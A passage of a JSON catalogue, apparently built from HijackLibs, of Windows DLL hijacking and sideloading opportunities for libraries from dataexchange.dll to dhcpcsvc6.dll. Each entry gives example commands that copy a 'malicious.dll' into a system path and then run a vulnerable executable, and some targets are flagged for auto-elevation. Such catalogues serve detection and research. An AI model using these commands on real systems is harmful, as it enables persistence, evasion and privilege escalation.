%PROGRAMFILES%\\Microsoft\\EdgeWebView\\Application\\%VERSION%\\msedgewebview2.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dataexchange.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dataexchange.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "dataexchange.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dataexchange",
    "name": "dataexchange.dll",
    "namespace": "windows:dllhijack:dataexchange",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dataexchange.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious davclnt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\davclnt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# davclnt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\msdt.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\tabcal.exe (Environment Variable)\n- %SYSTEM32%\\verifier.exe (Environment Variable)\n- %SYSTEM32%\\workfolders.exe (Environment Variable)\n- %SYSTEM32%\\write.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-davclnt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "davclnt.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "davclnt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-davclnt",
    "name": "davclnt.dll",
    "namespace": "windows:dllhijack:davclnt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/davclnt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dbgcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\windows kits\\\\10\\\\debuggers\\\\arm\\\\dbgcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deploymentcsphelper.exe\\\"\"\n\n# dbgcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\windows kits\\10\\debuggers\\arm\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deploymentcsphelper.exe (Sideloading)\n- %SYSTEM32%\\djoin.exe (Sideloading)\n- %SYSTEM32%\\dnscacheugc.exe (Sideloading)\n- %SYSTEM32%\\ieunatt.exe (Sideloading)\n- %SYSTEM32%\\muiunattend.exe (Sideloading)\n- %SYSTEM32%\\netbtugc.exe (Sideloading)\n- %SYSTEM32%\\netiougc.exe (Sideloading)\n- %SYSTEM32%\\pnpunattend.exe (Sideloading)\n- %SYSTEM32%\\setupugc.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\werfault.exe (Sideloading)\n- %SYSTEM32%\\werfaultsecure.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dbgcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dbgcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dbgcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dbgcore",
    "name": "dbgcore.dll",
    "namespace": "windows:dllhijack:dbgcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dbgcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dbgeng.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\%VERSION%\\\\Debuggers\\\\x86\\\\dbgeng.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"windbg.exe\\\"\"\n\n# dbgeng.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\%VERSION%\\Debuggers\\x86\n\n**Vulnerable Executables:**\n- windbg.exe (Sideloading)\n\n**Acknowledgement:** Duncan Ogilvie\n",
    "_source": "windows-dllhijack-dbgeng.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dbgeng.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dbgeng.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dbgeng",
    "name": "dbgeng.dll",
    "namespace": "windows:dllhijack:dbgeng",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/mrexodia/status/1630320327967252483"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dbgeng.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dbghelp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\windows kits\\\\10\\\\debuggers\\\\arm\\\\dbghelp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# dbghelp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\windows kits\\10\\debuggers\\arm\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\dxcap.exe (Sideloading)\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n- %SYSTEM32%\\tasklist.exe (Sideloading)\n- %SYSTEM32%\\tracerpt.exe (Sideloading)\n- %SYSTEM32%\\werfault.exe (Sideloading)\n- %SYSTEM32%\\bdehdcfg.exe (Environment Variable)\n- %SYSTEM32%\\deploymentcsphelper.exe (Environment Variable)\n- %SYSTEM32%\\djoin.exe (Environment Variable)\n- %SYSTEM32%\\dnscacheugc.exe (Environment Variable)\n- %SYSTEM32%\\ieunatt.exe (Environment Variable)\n- %SYSTEM32%\\muiunattend.exe (Environment Variable)\n- %SYSTEM32%\\netbtugc.exe (Environment Variable)\n- %SYSTEM32%\\netiougc.exe (Environment Variable)\n- %SYSTEM32%\\pnpunattend.exe (Environment Variable)\n- %SYSTEM32%\\reagentc.exe (Environment Variable)\n- %SYSTEM32%\\setupugc.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dbghelp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dbghelp.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "dbghelp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dbghelp",
    "name": "dbghelp.dll",
    "namespace": "windows:dllhijack:dbghelp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dbghelp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dbgmodel.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dbgmodel.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Debuggers\\\\%VERSION%\\\\ntsd.exe\\\"\"\n\n# dbgmodel.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\%VERSION%\\ntsd.exe (Sideloading)\n",
    "_source": "windows-dllhijack-dbgmodel.md",
    "author": "Gary Lobermier",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dbgmodel.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dbgmodel.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dbgmodel",
    "name": "dbgmodel.dll",
    "namespace": "windows:dllhijack:dbgmodel",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dbgmodel.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dcntel.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dcntel.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicecensus.exe\\\"\"\n\n# dcntel.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicecensus.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dcntel.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dcntel.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dcntel.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dcntel",
    "name": "dcntel.dll",
    "namespace": "windows:dllhijack:dcntel",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dcntel.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dcomp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dcomp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dataexchangehost.exe\\\"\"\n\n# dcomp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dataexchangehost.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dcomp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dcomp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dcomp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dcomp",
    "name": "dcomp.dll",
    "namespace": "windows:dllhijack:dcomp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dcomp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious defragproxy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\defragproxy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dfrgui.exe\\\"\"\n\n# defragproxy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dfrgui.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-defragproxy.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "defragproxy.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "defragproxy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-defragproxy",
    "name": "defragproxy.dll",
    "namespace": "windows:dllhijack:defragproxy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/defragproxy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious desktopshellext.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\desktopshellext.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\sihost.exe\\\"\"\n\n# desktopshellext.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\sihost.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-desktopshellext.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "desktopshellext.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "desktopshellext.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "process-manip"
    ],
    "id": "windows-dllhijack-desktopshellext",
    "name": "desktopshellext.dll",
    "namespace": "windows:dllhijack:desktopshellext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/desktopshellext.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious deviceassociation.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\deviceassociation.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\eduprintprov.exe\\\"\"\n\n# deviceassociation.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\eduprintprov.exe (Sideloading)\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-deviceassociation.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "deviceassociation.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "deviceassociation.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-deviceassociation",
    "name": "deviceassociation.dll",
    "namespace": "windows:dllhijack:deviceassociation",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/deviceassociation.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious devicecredential.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\devicecredential.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicecredentialdeployment.exe\\\"\"\n\n# devicecredential.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicecredentialdeployment.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-devicecredential.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "devicecredential.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "devicecredential.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-devicecredential",
    "name": "devicecredential.dll",
    "namespace": "windows:dllhijack:devicecredential",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/devicecredential.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious devicepairing.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\devicepairing.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicepairingwizard.exe\\\"\"\n\n# devicepairing.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicepairingwizard.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-devicepairing.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "devicepairing.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "devicepairing.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-devicepairing",
    "name": "devicepairing.dll",
    "namespace": "windows:dllhijack:devicepairing",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/devicepairing.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious devobj.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\devobj.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bthudtask.exe\\\"\"\n\n# devobj.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bthudtask.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\chkdsk.exe (Sideloading)\n- %SYSTEM32%\\chkntfs.exe (Sideloading)\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dispdiag.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\drvinst.exe (Sideloading)\n- %SYSTEM32%\\fsavailux.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\fsquirt.exe (Sideloading)\n- %SYSTEM32%\\immersivetpmvscmgrsvr.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\iscsicli.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\label.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\pnputil.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\recover.exe (Sideloading)\n- %SYSTEM32%\\rmttpmvscmgrsvr.exe (Sideloading)\n- %SYSTEM32%\\tabcal.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsdesktopengine.exe (Sideloading)\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-devobj.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "devobj.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "devobj.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-devobj",
    "name": "devobj.dll",
    "namespace": "windows:dllhijack:devobj",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/devobj.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious devrtl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\devrtl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\drvinst.exe\\\"\"\n\n# devrtl.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\drvinst.exe (Sideloading)\n- %SYSTEM32%\\pnpunattend.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\wowreg32.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-devrtl.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "devrtl.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "devrtl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-devrtl",
    "name": "devrtl.dll",
    "namespace": "windows:dllhijack:devrtl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/devrtl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dhcpcmonitor.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dhcpcmonitor.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# dhcpcmonitor.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dhcpcmonitor.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dhcpcmonitor.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dhcpcmonitor.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "streaming"
    ],
    "id": "windows-dllhijack-dhcpcmonitor",
    "name": "dhcpcmonitor.dll",
    "namespace": "windows:dllhijack:dhcpcmonitor",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dhcpcmonitor.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dhcpcsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dhcpcsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ipconfig.exe\\\"\"\n\n# dhcpcsvc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ipconfig.exe (Sideloading)\n- %SYSTEM32%\\netiougc.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dhcpcsvc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dhcpcsvc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dhcpcsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-dhcpcsvc",
    "name": "dhcpcsvc.dll",
    "namespace": "windows:dllhijack:dhcpcsvc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dhcpcsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dhcpcsvc6.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dhcpcsvc6.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ipconfig.exe\\\"\"\n\n# dhcpcsvc6.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ipconfig.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dhcpcsvc6.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dhcpcsvc6.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dhcpcsvc6.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-dhcpcsvc6",
    "name": "dhcpcsvc6.dll",
    "namespace": "windows:dllhijack:dhcpcsvc6",
    "platforms": [
      "windows"
    ],
    "references": [
      {
